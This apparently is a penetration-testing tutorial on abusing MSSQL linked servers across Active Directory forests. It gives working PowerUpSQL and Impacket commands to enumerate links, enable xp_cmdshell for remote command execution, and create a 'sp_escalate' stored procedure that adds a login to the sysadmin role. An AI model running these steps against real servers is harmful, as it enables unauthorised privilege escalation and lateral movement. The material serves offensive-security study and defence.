Abusing SQL Linked Servers
Cross-forest MSSQL linked servers facilitate communication and data exchange between SQL Server instances located in different Active Directory forests. This configuration allows SQL Server instances in one forest to access data and resources hosted by SQL Server instances in another forest.
If we manage to get access to a SQL database with linked servers we can try to "hop" the trust by executing command on those and get a foothold in a new domain.
Privileged Access to Server Links
This scenario occurs when a domain user has elevated remote access to a server in another domain with sa
(sysadmin) privileges.
To enumerate these privileges we can use PowerUpSQL
import-module .\PowerUpSQL.ps1
Get-SQLServerLink
<SNIP>
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 1
DatabaseLinkName : SQL02\SQLEXPRESS
DatabaseLinkLocation : Remote
Product : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin : domain\otter
RemoteLoginName : sa
is_rpc_out_enabled : True
is_data_access_enabled : True
modify_date : 1/4/2024 2:09:31 AM
We can see that the SQL02 database is linked to the SQL01 one, looking at the LocalLogin
and RemoteLoginName
attributes we discover that the otter
user has sa
privileges over the linked server. To get further confirmation we can use the sp_helplinkedsrvlogin
to get more information about the remote logins
Get-SQLQuery -Query "EXEC sp_helplinkedsrvlogin"
Alternatively we could use mssqlclient
from the Impacket suite which has some handy commands to perform actions on linked servers directly.
mssqlclient.py otter@sql01.domain.com -windows-auth
<SNIP>
SQL (domain\otter guest@master)> enum_links
SQL01\SQLEXPRESS SQLNCLI SQL Server SQL01\SQLEXPRESS NULL NULL NULL
SQL02\SQLEXPRESS SQLNCLI SQL Server SQL02\SQLEXPRESS NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
---------------- ------------------- --------------- ------------
SQL02\SQLEXPRESS domain\otter 0 sa
As sa
we can, for example, enable xp_cmdshell
to execute commands from the server; this can be done from mssqlclient
or Windows clients like SSMS or heidiSQL
SQL (domain\otter guest@master)> use_link "SQL02\SQLEXPRESS"
SQL >"SQL02\SQLEXPRESS" (sa dbo@master)> enable_xp_cmdshell
SQL >"SQL02\SQLEXPRESS" (sa dbo@master)> xp_cmdshell "whoami"
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "SQL02\SQLEXPRESS"
EXECUTE('xp_cmdshell "whoami"') AT "SQL02\SQLEXPRESS"
Trustworthy Databases
If a user within our domain hasn't been granted remote login permissions as a sysadmin, but instead has been provided public privileges as a local SQL User in SQL02 (which is part of the other domain), we can pursue a strategy to enumerate trusted databases
on the targeted linked server. Our objective would be to determine if the user holds the db_owner
role for any trusted database, if that's the case we can create a stored procedure to enable xp_cmdshell
, ensuring it executes under the context of the OWNER
, which typically would be the sa
user.
Just like before we'll enumerate the linked databases
Get-SQLServerLink
<SNIP>
ComputerName : SQL01
Instance : SQL01
DatabaseLinkId : 1
DatabaseLinkName : SQL02\SQLEXPRESS
DatabaseLinkLocation : Remote
Product : SQL Server
Provider : SQLNCLI
Catalog :
LocalLogin :
RemoteLoginName :
is_rpc_out_enabled : True
is_data_access_enabled : True
modify_date : 1/4/2024 2:09:31 AM
Here the LocalLogin
and RemoteLoginName
fields are empty, this means that the domain user we're executing the command with doesn't have sa
permissions; we can still retrieve the login ID of the domain user on the linked server using
select * from openquery("SQL02\SQLEXPRESS",'select SUSER_NAME()')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''public'')')
# list all DBs
select * from openquery("SQL02\SQLEXPRESS",'select name FROM master.dbo.sysdatabases')
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_logins
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_users
Next, we must ascertain whether any of the databases enumerated possess trustworthiness enabled to identify if any of the enumerated databases have is_trustworthy_on
enabled.
select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_db
Once we identify one or more databases we have to check if our user has db_owner
role.
EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"
The following query checks whether the owner of the database is also sysadmin
select * from openquery("SQL02\SQLEXPRESS",'SELECT name as database_name , SUSER_NAME(owner_sid) AS owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;')
SQL >"SQL02\SQLEXPRESS" (otter otter@master)> SELECT name as database_name, SUSER_NAME(owner_sid) AS owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases;
To abuse this configuration we'll create a stored procedure to escalate our privileges. First we need to check if the IS_RPC_OUT_ENABLED
option is enabled, this enables the SQL server to make outbound calls to other servers using RPC.
select is_rpc_out_enabled from sys.servers where name='SQL02\SQLEXPRESS'
If the feature is enabled we can execute the following query
EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''owner_of_db'',''sysadmin''') AT "SQL02\SQLEXPRESS"
and then execute the procedure
EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"
We can do the same from linux
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'owner_of_db','sysadmin'
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> EXEC sp_escalate
From this point on we're sysadmin and resume with the standard exploitation by enabling xp_cmdshell
and getting command execution on the server.
Last updated